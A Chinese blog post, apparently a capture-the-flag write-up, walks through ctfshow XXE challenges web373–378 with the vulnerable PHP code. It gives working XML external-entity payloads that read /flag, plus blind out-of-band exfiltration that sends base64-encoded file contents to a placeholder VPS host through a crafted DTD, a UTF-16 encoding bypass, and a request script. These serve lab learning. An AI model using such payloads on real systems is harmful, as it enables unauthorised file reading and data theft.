CTFSHOW——XXE做题

[Vulhub] PHP环境 XML外部实体注入漏洞(XXE) 0x01 预备知识 XXE是什么? XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成 任意文件读取、命令执行、 阅读详情

目录

  • web373
  • web374
  • web375
  • web376
  • web377
  • web378

web373

其他大佬xxe介绍文章

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

这部分代码创建了一个 DOMDocument 对象并加载 XML 数据。
LIBXML_NOENT 选项允许替换 XML 实体,LIBXML_DTDLOAD 允许加载外部 DTD 。
simplexml_import_dom($dom);
这行代码将 DOMDocument 转换为 SimpleXML 对象,方便以对象的形式访问 XML 内容。
$ctfshow = $creds->ctfshow;
这行代码从解析的 XML 中获取 ctfshow 元素的内容。
echo $ctfshow;
将获取的 ctfshow 元素内容输出到页面或终端。

简单来说题目会打印出传入的xml代码里面ctfshow标签里面的内容
利用代码可以加载外部实体的漏洞,传入下列payload即可得到flag

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
    <ctfshow>&xxe;</ctfshow>
</creds>

外部实体定义格式:

<!ENTITY 实体名称 SYSTEM "URI">

引用时在名称前面加&,显示的就是该实体的值

web374

无回显xxe,考虑外带

自己VPS上写个pd.dtd

<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://你vpsip:4444/%file;'> ">
%all;
%send;

VPS执行命令python3 -m http.server 4444

回到题目。
bp发包post提交

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxxx:4444/pd
.dtd">
%dtd;
]>

可以看见服务器上有带着base64编码的请求,解码就是flag
在这里插入图片描述
在这里插入图片描述

web375

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);  

做法照抄上面那题就行

web376

这题和后几题把xml头给过滤了,不过没什么影响,和上题一样做法

web377

把http给过滤了,看这位大佬写得文章

用其他编码绕过

import requests
data="""<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx:4444/pd.dtd">
%dtd;
]>"""
url="http://5401b2aa-db53-4957-b82b-45a89e7cf879.challenge.ctf.show/"
res=requests.post(url,headers={'User-Agent':'Mozilla/5.0'},data=data.encode('utf-16'))
print(res.text)

回到VPS看照样有带base64的请求记录,解码即可得到flag

web378

随便输入登录抓包重放

在这里插入图片描述

查看页面源代码发现有段js代码

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

大概意思是

使用 jQuery 的 $.ajax() 方法发起一个 POST 请求。
type: “POST”:指定请求方法为 POST。
url: “doLogin”:请求的目标 URL 是 doLogin,这可能是服务器的登录处理接口。
contentType: “application/xml;charset=utf-8”:请求的内容类型是 application/xml,表示发送 XML 数据。
data: data:将前面构建的 XML 数据作为请求体发送到服务器。
dataType: “xml”:预期服务器返回的是 XML 格式的数据。
async: false:设置为同步请求(不推荐,可能会导致浏览器卡顿,应设置为 true,即异步)。

如果请求成功,服务器会返回一个 XML 格式的响应。
result.getElementsByTagName(“code”):从服务器返回的 XML 中提取 <code> 标签的内容。code 通常表示状态码,比如登录是否成功。
code == “0”:登录失败,显示失败信息。
code == “1”:登录成功,显示成功信息。
其他情况:显示通用错误信息。
msg:从 <msg> 标签提取的消息,用于显示提示信息。
$(".msg").text(…):使用 jQuery 更新页面上的某个元素(假设 msg 是一个显示提示信息的元素)的文本内容。

改变账号登录抓包,发现msg标签内容跟着变

在这里插入图片描述
由此判断username处存在xxe注入

这其实相当于有回显xxe了

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>111</password></user>

在这里插入图片描述

PHP之XXE漏洞靶场详解 PHP之XXE漏洞靶场详解 00x1 什么是XXE 简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。 例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。 00x2 XML基础知识 XML是一... 阅读详情

相关推荐

CTFshow靶场实战:从XML基础到XXE漏洞攻防与防御

XML(可扩展标记语言)作为一种广泛用于Web服务、配置文件和API数据交换的标记语言,其核心特性之一是实体引用机制。这一机制本意是提升文档的复用性和可维护性,但若解析器配置不当,攻击者便能利用外部实体加载功能,将XML文档的解析过程转变为攻击向量,从而引发严重的安全风险。XXE(XML外部实体注入)漏洞正是基于此原理,它允许攻击者读取服务器敏感文件、发起内网SSRF探测,甚至在特定条件下实现拒绝服务或远程代码执行,技术价值在于揭示了数据格式解析中的深层信任边界问题。在Web应用安全测试和CTF竞赛中,XX

weixin_30824479的博客 392

CTF-[XXE学习记录]

1.XXE 关于xml我就不详细说了,想看的话从我之前的文章找找,有关于xml的概念和怎么构造。 XML的设计宗旨是传输数据,而非显示数据。XML是不作为的,XML是不会做任何事情,XML 被设计用来结构化、存储以及传输信息。 XML是纯文本,且允许创作者定义自己的标签和文档结构,是独立于软件和硬件的信息传输工具。 0x01.DTD 文档类型定义(DTD)可定义合法的XML文档构建模块,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。 1.内部的DOCTYPE声明 假如DTD被包含在XML源

qq_53142368的博客 1385

XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结

漏洞原理 XE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件,造成文件读取、命令执行、内网端口扫描。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件 环境搭建 地址:https://github.com/c0ny1/xxe-lab 下载好后将PHP_XXE放到PHPstudy的www目录下就可以访问 XXE有回显注入 在登录处先抓一下包,可以看到是参数的传递格式是XML,可能存在XML注入。 将数据包发送到R

weixin_43749601的博客 4570

CTF之xxe

xxe漏洞即我们可以进行外部实体注入,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 两个writeup 第一题: bp抓包 然后就可以进行xml注入了 这是两种xxe,我们先试第二种(因为源代码并没有标注flag在什么文件中) 然后进内网 然而并进不去,那就只能找存活主机了。 直接暴力寻找 第二题: 按照上题的思路走 但是并没有找到flag。。。。 最后只能去文件里找了,但是题目没有标明具体flag在那个文件,只能试一下/flag文

qq_37410729的博客 2000

PHP代码审计之XXE(XML外部实体注入)

PHP代码审计之XXE(XML外部实体注入)

qq_22132931的博客 1010

阿里云百炼平台创建智能体-上传文档

阿里云百炼智能体-上传文档文件

weixin_43930851的博客 1348

初识XXE漏洞及ctfshow做题(373-378)

XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。// 注意:由于file_get_contents('php://input')在失败时会返回false或空字符串,ELEMENT foo ANY > <!// 使用file_get_contents函数从'php://input'流中读取原始POST数据。

m0_74402888的博客 1016

esim分布式云卡池技术

eSIM卡,即Embedded-SIM,嵌入式SIM卡。eSIM卡的概念就是将传统SIM卡直接嵌入到设备芯片上,而不是作为独立的可移除零部件加入设备中,用户无需插入物理SIM卡。这一做法将允许用户更加灵活的选择运营商套餐,或者在无需解锁设备、购买新设备的前提下随时更换运营商。未来通用的eSIM标准建立将为普通消费者、企业用户节省更多移动设备使用成本,并带来更多的便利、安全性。 2018年 3月7日,中国联通宣布,正式在上海、天津、广州、深圳、郑州、长沙6座城市率先启动“eSIM一号双终端”业务的办理。[.

著名博客 3704

XXE的学习记录以及ctfshow_XXE模块练习

XXE(XML External Entity)即XML外部实体攻击。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。1,内部声明: ex:> <!!!!!!> <

RealIiikun的博客 818

新手必看!BUUCTF-PWN题实战:从零搭建Kali环境到成功RIP栈溢出

本文为CTF二进制安全新手提供了一份详实的BUUCTF-PWN入门指南。内容涵盖从零搭建Kali Linux环境、安装配置pwntools等核心工具,到深入浅出地讲解栈溢出原理与汇编基础,并手把手带领读者完成一道名为“rip”的经典栈溢出题目实战,成功利用漏洞获取系统权限。

t8u9v0w1x的博客 493

发那科FOCAS 1/2文档——核心库文件

在开始开发前,明确目标 CNC 的具体型号、连接方式(HSSB/TCP/IP)、软件版本和配置(如轴数、程序号位数),并据此正确配置开发环境和编译选项。开发时需要包含相应的头文件。这是开发跨平台应用时需要特别注意的地方。这是开发应用时必须了解的核心文件。

snailiot的博客 1012

ctfshow web入门 XXE

XXE(XML External Entity)攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞,构造恶意的XML数据,进而实现各种恶意目的。所以要学习xxe就需要了解xml。

2301_79442654的博客 1552

Versal ACAP NoC实战:像理解计算机网络一样配置AXI NoC,打通PS与PL数据通路

本文深入探讨了Versal ACAP NoC的配置与优化,通过计算机网络类比解析NoC架构,详细介绍了在VD100开发板上配置AXI NoC实现PS与PL数据交互的实战步骤。文章涵盖NoC组件功能、Vivado配置技巧、性能优化方法及常见问题解决方案,帮助开发者高效打通Versal芯片的数据通路。

weixin_42665255的博客 284

ctfshow之web入门(XXE)

<user>&xxe;</user></creds>外部实体(带有SYSTEM 需要请求外部文件)<creds><user>&xxe;</user></text>

TohsakaRinRinRi的博客 1042

反卷积通俗详细解析与nn.ConvTranspose2d重要参数解释

反卷积的作用 卷积中padding的几个概念 No Padding Half(Same) Padding Full Padding 反卷积 反卷积中的Padding参数 反卷积的stride参数 反卷积总结 参考资料

iioSnail的博客 2万+

华为ONU远程登录管理配置

华为P602E、EG8040CONU、EG8240H5、W626E等ONU、ONT默认无法配置管理IP,无法远程telnet登录管理。校园网项目中因故障诊断需要远程登录ONU可以通过OLT的远程WEB代理功能链接登录,具体配置如下:

symstandsun的博客 6101

XXE漏洞知识及ctfshow例题

XXE全称为XML Enternal Entity Injection 中文叫xml外部实体注入简单了解XML:(xml和html的区别可以简易的理解成:xml是用来储存数据和传输数据的而html是用来将数据展现出来)XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息 XML 允许创作者定义自己的标签和自己的文档结构 语法:XML元素都必须有

2302_80044238的博客 1412

【PostgreSQL】PostgreSQL数据库函数比对模板(PG通用)

LOOKUP 函数从单行或单列区域 (区域:工作表上的两个或多个单元格。区域中的单元格可以相邻或不相邻。)或数组 (数组:用于建立可生成多个结果或可对在行和列中排列的一组参数进行运算的单个公式。数组区域共用一个公式;数组常量是用作参数的一组常量。LOOKUP 函数具有两种语法形式:向量形式和数组形式。vlookup查找匹配值超过255个字符显示#Value的解决办法。如果值为错误值 #N/A,则返回 TRUE。

tttzzzqqq2018的博客 1485

CTFShow XXE

前言 XXE 的漏洞在我的上一篇文章有讲过,这里就不多说,直接看题 XXE外部实体注入 web373 有回显的文件读取 <?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <paidx0> <ctfshow>&xxe;</ctfshow> </paidx0> web374~376 无回显的文件读取,禁用了版本

paidx0 2021

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

CTFSHOW-XXE

burp suite抓包进行修改]><aaa><ctfshow>&xee;

2301_80125214的博客 801

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

ctfshow—XXE

XXE XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。 XXE可导致读取任意文件,探测内网端口,攻击内网网站,发起拒绝服务攻击,执行系统命令等。Java中的XXE支持sun.net.www.p

cosmoslin的博客 1272

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

ctfshow-web入门-xxe

XXE,全称XML External Entity Injection,即。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

2301_80470992的博客 1370

ctfshow xxe

前置知识 理解漏洞之 XXE 漏洞 从XML相关一步一步到XXE漏洞 参考WP web373 error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTD

qq_50589021的博客 2575

CTFshow——XXE

web373 <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_i

D.MIND 的博客 1089

CTFSHOW-web入门-XXE

XML XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是: HTML 被设计用来显示数据 XML 被设计用来传输和存储数据 XML文档结构包括: XML声明 DTD文档类型定义(可选) 文档元素 XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,...),图像格式(SV

whisper921的博客 6091

CTFshow_Web_XXE——web373~377

文章目录参考文章题解web373web374~376web377完 参考文章 一篇文章带你深入理解漏洞之 XXE 漏洞 未知攻焉知防——XXE漏洞攻防 题解 web373 常规XXE flag的路径是/flag // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDo

Ho1aAs‘s Blog 3349
上一篇: ctfhub web技能树进阶JSON Web Token
下一篇: ctfshow_xss
hcja666
博客等级 码龄3年 296粉丝 28原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值